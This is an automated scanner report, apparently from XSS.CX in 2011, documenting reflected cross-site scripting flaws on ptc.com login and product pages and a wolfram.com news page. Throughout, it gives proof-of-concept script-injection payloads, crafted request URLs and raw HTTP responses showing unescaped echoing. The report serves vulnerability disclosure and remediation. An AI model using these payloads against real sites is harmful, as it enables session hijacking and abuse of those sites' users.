<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html><head> <title>Document Not Found - PTC.com</title> <meta http-equiv="Con ...[SNIP]... <!-- bad url: /products2b78c--><script>alert(1)</script>5521b9cc017/mathcad--> ...[SNIP]...
The value of REST URL parameter 2 is copied into an HTML comment. The payload 3fdb1--><script>alert(1)</script>63b70b3bc0f was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /products/mathcad3fdb1--><script>alert(1)</script>63b70b3bc0f/ HTTP/1.1 Host: www.ptc.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Referer: http://www.google.com/search?gcx=w&sourceid=chrome&ie=UTF-8&q=control+systems#pq=control+systems&hl=en&cp=5&gs_id=j&xhr=t&q=mathcad&qe=bWF0aGM&qesig=9TbiipYEAZC7WKi55YxjrA&pkc=AFgZ2tmlRroTZvj-GFJ1NJj2q1NtSwFvzq-YtVc3ZLoxwmQ5jKvDaOxkolP84m3mPcjigrxMpDIDTrPXBn6AXtc6rAwuw7c2Bg&pf=p&sclient=psy-ab&source=hp&pbx=1&oq=mathc&aq=0&aqi=g3g-s1&aql=&gs_sm=&gs_upl=&fp=1&biw=1630&bih=1004&bav=on.2,or.r_gc.r_pw.,cf.osb&cad=b Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Date: Mon, 03 Oct 2011 20:02:20 GMT X-Powered-By: Servlet 2.5; JBoss-5.0/JBossWeb-2.1 Set-Cookie: JSESSIONID=169780382FBCEA1F19D573E344917ECC.hqjbsprd02-e; Domain=ptc.com; Path=/ Content-Type: text/html;charset=utf-8 Vary: Accept-Encoding,User-Agent Content-Length: 43363 Set-Cookie: NSC_xxx-wjq1=ffffffff0f038a5d45525d5f4f58455e445a4a423660;expires=Mon, 03-Oct-2011 20:37:45 GMT;path=/
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html><head> <title>Document Not Found - PTC.com</title> <meta http-equiv="Con ...[SNIP]... <!-- bad url: /products/mathcad3fdb1--><script>alert(1)</script>63b70b3bc0f--> ...[SNIP]...
The value of REST URL parameter 1 is copied into an HTML comment. The payload f4950--><script>alert(1)</script>de5d021ac34 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
HTTP/1.1 404 Not Found Date: Mon, 03 Oct 2011 20:05:11 GMT X-Powered-By: Servlet 2.5; JBoss-5.0/JBossWeb-2.1 Content-Type: text/html;charset=utf-8 Vary: Accept-Encoding,User-Agent Content-Length: 45186 Set-Cookie: NSC_xxx-wjq1=ffffffff0f038a5d45525d5f4f58455e445a4a423660;expires=Mon, 03-Oct-2011 20:40:36 GMT;path=/
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html><head> <title>Document Not Found - PTC.com</title> <meta http-equiv="Con ...[SNIP]... <!-- bad url: /servicesf4950--><script>alert(1)</script>de5d021ac34/index.htm--> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d60c2"><script>alert(1)</script>4436d76ce00 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of REST URL parameter 2 is copied into an HTML comment. The payload c03a3--><script>alert(1)</script>5096caf9c1a was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
HTTP/1.1 404 Not Found Date: Mon, 03 Oct 2011 20:05:17 GMT X-Powered-By: Servlet 2.5; JBoss-5.0/JBossWeb-2.1 Set-Cookie: JSESSIONID=78FA31E440EDB9EA0538F646A4DB1F04.hqjbsprd02-e; Domain=ptc.com; Path=/ Content-Type: text/html;charset=utf-8 Vary: Accept-Encoding,User-Agent Content-Length: 45186 Connection: close Set-Cookie: NSC_xxx-wjq1=ffffffff0f038a5d45525d5f4f58455e445a4a423660;expires=Mon, 03-Oct-2011 20:40:43 GMT;path=/
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html><head> <title>Document Not Found - PTC.com</title> <meta http-equiv="Con ...[SNIP]... <!-- bad url: /services/index.htmc03a3--><script>alert(1)</script>5096caf9c1a--> ...[SNIP]...
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c4dc8"><script>alert(1)</script>a2dbc01909c was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 646cb"><script>alert(1)</script>9caf7550b16 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of REST URL parameter 1 is copied into an HTML comment. The payload da6c5--><script>alert(1)</script>c54547184b5 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
HTTP/1.1 404 Not Found Date: Mon, 03 Oct 2011 20:05:10 GMT X-Powered-By: Servlet 2.5; JBoss-5.0/JBossWeb-2.1 Content-Type: text/html;charset=utf-8 Vary: Accept-Encoding,User-Agent Content-Length: 45188 Set-Cookie: NSC_xxx-wjq1=ffffffff0f038a5d45525d5f4f58455e445a4a423660;expires=Mon, 03-Oct-2011 20:40:36 GMT;path=/
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html><head> <title>Document Not Found - PTC.com</title> <meta http-equiv="Con ...[SNIP]... <!-- bad url: /solutionsda6c5--><script>alert(1)</script>c54547184b5/index.htm--> ...[SNIP]...
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 35012"><script>alert(1)</script>54eb8923a0d was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of REST URL parameter 2 is copied into an HTML comment. The payload 588da--><script>alert(1)</script>ce4b8696981 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
HTTP/1.1 404 Not Found Date: Mon, 03 Oct 2011 20:05:17 GMT X-Powered-By: Servlet 2.5; JBoss-5.0/JBossWeb-2.1 Set-Cookie: JSESSIONID=B27D1E60B6C967615983579A1AE9537C.hqjbsprd02-e; Domain=ptc.com; Path=/ Content-Type: text/html;charset=utf-8 Vary: Accept-Encoding,User-Agent Content-Length: 45188 Set-Cookie: NSC_xxx-wjq1=ffffffff0f038a5d45525d5f4f58455e445a4a423660;expires=Mon, 03-Oct-2011 20:40:42 GMT;path=/
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html><head> <title>Document Not Found - PTC.com</title> <meta http-equiv="Con ...[SNIP]... <!-- bad url: /solutions/index.htm588da--><script>alert(1)</script>ce4b8696981--> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload fb759"><script>alert(1)</script>5a3e94b5ffd was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of REST URL parameter 1 is copied into an HTML comment. The payload 9a4bc--><script>alert(1)</script>5c603f3d7d was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
HTTP/1.1 404 Not Found Date: Mon, 03 Oct 2011 20:05:26 GMT X-Powered-By: Servlet 2.5; JBoss-5.0/JBossWeb-2.1 Set-Cookie: JSESSIONID=D470CAA25AFA9AEDA9A9FA3FAD3360B4.hqjbsprd02-e; Domain=ptc.com; Path=/ Content-Type: text/html;charset=utf-8 Vary: Accept-Encoding,User-Agent Content-Length: 44095 Set-Cookie: NSC_xxx-wjq1=ffffffff0f038a5d45525d5f4f58455e445a4a423660;expires=Mon, 03-Oct-2011 20:40:51 GMT;path=/
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html><head> <title>Document Not Found - PTC.com</title> <meta http-equiv="Con ...[SNIP]... <!-- bad url: /solutions9a4bc--><script>alert(1)</script>5c603f3d7d/product-lifecycle-management--> ...[SNIP]...
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 69b56"><script>alert(1)</script>7364e597544 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of REST URL parameter 2 is copied into an HTML comment. The payload 575be--><script>alert(1)</script>f37e80dfff1 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
HTTP/1.1 404 Not Found Date: Mon, 03 Oct 2011 20:05:33 GMT X-Powered-By: Servlet 2.5; JBoss-5.0/JBossWeb-2.1 Set-Cookie: JSESSIONID=AD88B43002ED172E18EE8489D5F5A479.hqjbsprd02-e; Domain=ptc.com; Path=/ Content-Type: text/html;charset=utf-8 Vary: Accept-Encoding,User-Agent Content-Length: 44097 Set-Cookie: NSC_xxx-wjq1=ffffffff0f038a5d45525d5f4f58455e445a4a423660;expires=Mon, 03-Oct-2011 20:40:58 GMT;path=/
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html><head> <title>Document Not Found - PTC.com</title> <meta http-equiv="Con ...[SNIP]... <!-- bad url: /solutions/product-lifecycle-management575be--><script>alert(1)</script>f37e80dfff1--> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload cefc3"><script>alert(1)</script>866d7c41560 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of REST URL parameter 1 is copied into an HTML comment. The payload 60da8--><script>alert(1)</script>4c4617073cd was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
HTTP/1.1 404 Not Found Date: Mon, 03 Oct 2011 20:05:23 GMT X-Powered-By: Servlet 2.5; JBoss-5.0/JBossWeb-2.1 Set-Cookie: JSESSIONID=E1F6E5C9DF80ED0FC20824679C233A1D.hqjbsprd02-e; Domain=ptc.com; Path=/ Content-Type: text/html;charset=utf-8 Vary: Accept-Encoding,User-Agent Content-Length: 44097 Set-Cookie: NSC_xxx-wjq1=ffffffff0f038a5d45525d5f4f58455e445a4a423660;expires=Mon, 03-Oct-2011 20:40:48 GMT;path=/
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html><head> <title>Document Not Found - PTC.com</title> <meta http-equiv="Con ...[SNIP]... <!-- bad url: /solutions60da8--><script>alert(1)</script>4c4617073cd/product-lifecycle-management--> ...[SNIP]...
The value of REST URL parameter 2 is copied into an HTML comment. The payload 7d5a4--><script>alert(1)</script>5b73a0137ec was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
HTTP/1.1 404 Not Found Date: Mon, 03 Oct 2011 20:05:29 GMT X-Powered-By: Servlet 2.5; JBoss-5.0/JBossWeb-2.1 Set-Cookie: JSESSIONID=68811D3A5B6F3C8E8AF7DE881222BD57.hqjbsprd02-e; Domain=ptc.com; Path=/ Content-Type: text/html;charset=utf-8 Vary: Accept-Encoding,User-Agent Content-Length: 44097 Set-Cookie: NSC_xxx-wjq1=ffffffff0f038a5d45525d5f4f58455e445a4a423660;expires=Mon, 03-Oct-2011 20:40:54 GMT;path=/
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html><head> <title>Document Not Found - PTC.com</title> <meta http-equiv="Con ...[SNIP]... <!-- bad url: /solutions/product-lifecycle-management7d5a4--><script>alert(1)</script>5b73a0137ec--> ...[SNIP]...
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d37d6"><script>alert(1)</script>d017caaff81 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of the uid request parameter is copied into the HTML document as plain text between tags. The payload 203b6<script>alert(1)</script>f6446aa7f8f8b5a43 was submitted in the uid parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.
The value of the dest request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d2d5d"><script>alert(1)</script>2dd33bf20e6 was submitted in the dest parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of the msg request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1ee82"><script>alert(1)</script>212e8cc256d was submitted in the msg parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head><title>PTC.com: Log In</titl ...[SNIP]... <input type="hidden" name="msg" value="11ee82"><script>alert(1)</script>212e8cc256d" /> ...[SNIP]...
1.57. https://www.ptc.com/appserver/common/login/ssl/login.jsp [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
https://www.ptc.com
Path:
/appserver/common/login/ssl/login.jsp
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 254dc"><script>alert(1)</script>0846d0c8ba8 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of the uid request parameter is copied into the HTML document as plain text between tags. The payload 8c97c<script>alert(1)</script>e6dbcc88380 was submitted in the uid parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head><title>PTC.com Account Not A ...[SNIP]... <b>xss8c97c<script>alert(1)</script>e6dbcc88380</b> ...[SNIP]...
The value of the uid request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ec4f7"><script>alert(1)</script>692868cf3d5 was submitted in the uid parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head><title>PTC.com Account Not A ...[SNIP]... <input type="hidden" name="uid" value="xssec4f7"><script>alert(1)</script>692868cf3d5" /> ...[SNIP]...
1.60. http://www.wolfram.com/news/mathcad.html [name of an arbitrarily supplied request parameter]previous
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.wolfram.com
Path:
/news/mathcad.html
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a9b9c"><script>alert(1)</script>c6d903096a9 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /news/mathcad.html?a9b9c"><script>alert(1)</script>c6d903096a9=1 HTTP/1.1 Host: www.wolfram.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Referer: http://www.google.com/search?gcx=w&sourceid=chrome&ie=UTF-8&q=control+systems#pq=control+systems&hl=en&cp=5&gs_id=j&xhr=t&q=mathcad&qe=bWF0aGM&qesig=9TbiipYEAZC7WKi55YxjrA&pkc=AFgZ2tmlRroTZvj-GFJ1NJj2q1NtSwFvzq-YtVc3ZLoxwmQ5jKvDaOxkolP84m3mPcjigrxMpDIDTrPXBn6AXtc6rAwuw7c2Bg&pf=p&sclient=psy-ab&source=hp&pbx=1&oq=mathc&aq=0&aqi=g3g-s1&aql=&gs_sm=&gs_upl=&fp=1&biw=1630&bih=1004&bav=on.2,or.r_gc.r_pw.,cf.osb&cad=b Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Date: Mon, 03 Oct 2011 20:02:42 GMT Server: Apache Last-Modified: Thu, 14 Aug 2008 16:28:48 GMT ETag: "9c4-48a45d40" Content-Type: text/html Content-Length: 29144
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <title>Mathematica Imports Mathcad Documents</title><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" ...[SNIP]... <a href="/news/mathcad.html?a9b9c"><script>alert(1)</script>c6d903096a9=1;print_this_page=1" class="sblinkutil" target="_blank"> ...[SNIP]...
Report generated by XSS.CX at Mon Oct 03 15:20:12 CDT 2011.
